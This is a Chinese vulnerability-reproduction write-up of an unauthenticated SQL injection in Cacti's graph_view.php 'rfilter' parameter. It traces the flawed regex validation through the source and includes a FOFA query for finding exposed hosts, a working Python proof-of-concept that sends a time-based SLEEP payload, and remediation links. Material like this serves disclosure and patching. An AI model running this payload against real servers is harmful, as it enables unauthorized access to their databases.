【漏洞复现】Cacti未经身份验证SQL注入
2023-9-8 04:25:7 Author: mp.weixin.qq.com(查看原文) 阅读量:110 收藏

0x01 阅读须知

天擎攻防实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

0x02 漏洞描述

(一) Cacti

 Cacti是一个开源的网络图形化监控和数据可视化工具。它被广泛用于监控网络设备、服务器、应用程序和其他网络基础设施的性能和状态。

Cacti提供了一个基于Web的用户界面,使用户能够轻松创建、配置和管理监控图表。它使用RRDtool(Round Robin DatabaseTool)来存储和检索监控数据,并通过图表和图形的形式展示这些数据。用户可以根据需要创建自定义图表,并选择不同的数据源,如SNMP(SimpleNetworkManagement Protocol)、WMI(Windows Management Instrumentation)和Shell脚本等,来收集监控数据。

cacti<=1.2.24

网络空间绘测

app="Cacti-监控系统"
(二)漏洞分析
在graph_view.php中发现了一个SQL注入漏洞。由于访客用户默认情况下可以访问graph_viewphp而无需身份验证,因此如果访客用户处于启用状态,则可能会造成重大损坏。攻击者可能会利用此漏洞进行攻击,并且可能会采取诸如篡夺管理权限或远程代码执行之类的操作。该漏洞存在于从graph_view.php文件调用的growt_right_pane_tree函数中。在tree_content的情况下,通过html_validate_tree_vars函数验证用户输入,随后,如果tree_id参数大于0,则调用growt_right_pane_tree函数。
graph_view.php
switch(get_nfilter_request_var('action')) {// ...case'tree_content':html_validate_tree_vars();
// ...
if($tree_id >0) {if(!is_tree_allowed($tree_id)) {header('Location: permission_denied.php');exit;}
grow_right_pane_tree($tree_id, $node_id, $hgdata);}
growt_right_pane_tree函数在带有RLIKE的WHERE子句中直接使用用户输入参数rfilter,如下所示。rfilter参数在graph_view.php的html_validate_tree_vars函数中进行验证,但此验证仅确保rfilter作为正则表达式是正确的,并不保证它不包含SQL代码。 
lib/html_tree.php
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {  // ...  if (($leaf_type == 'header') || (empty($leaf_id))) {    $sql_where = '';
if (get_request_var('rfilter') != '') { $sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")'; } // ...
$graph_list = get_allowed_tree_header_graphs($tree_id, $leaf_id, $sql_where);
}

rfilter参数是如何验证的呢,html_validate_tree_vars函数将过滤器类型设置为filter_validate_IS_REGEX,并调用validate_store_request_vars功能。

lib/html_tree.php
function html_validate_tree_vars() {  // ...  /* ================= input validation and session storage ================= */  $filters = array(    // ...    'rfilter' => array(      'filter'  => FILTER_VALIDATE_IS_REGEX,      'pageset' => true,      'default' => '',      ),    // ...  );
validate_store_request_vars($filters, 'sess_grt');

validate_store_request_vars是一个根据设置的过滤器类型验证用户输入的函数。如果过滤器类型为filter_VALIDATE_is_REGEX,则VALIDATE_is_REGEX函数会检查该值是否为有效的正则表达式。validate_is_regex函数将用户输入插入preg_match,以验证它是否是有效的正则表达式。请注意,单引号用作正则表达式的分隔符。此分隔符是FILTER_VALIDATE_is_REGEX筛选器针对SQL注入提供的唯一保护。由于分隔符必须在正则表达式中转义,因此很难从WHERE子句中转义并插入SQL语句。

lib/html_utility.php
function validate_store_request_vars(array $filters, string $sess_prefix = ''):void {  // ...
if (cacti_sizeof($filters)) { foreach ($filters as $variable => $options) { // Establish the session variable first if ($sess_prefix != '') { // ... } else { if (get_nfilter_request_var($variable) == '0') { // ... } elseif ($options['filter'] == FILTER_VALIDATE_IS_REGEX) { if (is_base64_encoded($_REQUEST[$variable])) { $_REQUEST[$variable] = base64_decode($_REQUEST[$variable], true); }
$valid = validate_is_regex($_REQUEST[$variable]);
if ($valid === true) { $value = $_REQUEST[$variable]; } else { $value = false; $custom_error = $valid; }
// ...
function validate_is_regex($regex) { // ...
if (@preg_match("'" . $regex . "'", NULL) !== false) { ini_set('track_errors', $track_errors); return true; }

在growt_right_pane_tree函数中,RLIKE引号使用双引号。这意味着用户输入验证根本不起作用。攻击者可以在rfilter参数中插入SQL代码,使其形成有效的正则表达式,从而启用SQL注入攻击。

lib/html_tree.php
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {  // ...  $sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';

(三)POC

import argparseimport requestsimport sysimport urllib3
#import os#os.environ['http_proxy'] = 'http://localhost:8080'
sleep_time = 10payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""
def exploit(): url = f"{target}/graph_view.php"
params = { "action":"tree_content", "node":"1-1-tree_anchor", "rfilter":payload }
print('[+] Sending payload...') print(f"[+] Payload: {payload}") session.get(url,params=params) if __name__=='__main__': urllib3.disable_warnings() parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)") parser.add_argument('-t','--target',help='',required=True) args = parser.parse_args() target = args.target session = requests.Session()
exploit()

      更多漏洞POC发布在知识星球

0x03 修复方案

官方修复缓解措施

补丁链接

http://www.cacti.net/

参考链接

https://github.com/Cacti/cacti/security/advisories/GHSA-6r43-q2fw-5wrg


文章来源: http://mp.weixin.qq.com/s?__biz=MzU2MzQyMjA1NA==&mid=2247484118&idx=1&sn=729e5556243a7afa6493cb502d351cba&chksm=fc5b34dfcb2cbdc9c508b8268dc6af269062901476041354a182db58d8eb54b268419d8c092f&mpshare=1&scene=1&srcid=09079ovDeIHwENtV7Ouqm30D&sharer_shareinfo=0a848db701fa5dd10286cdab54a996c7&sharer_shareinfo_first=d906ec3e6a3ee4460d814baf1453e449#rd
如有侵权请联系:admin#unsafe.sh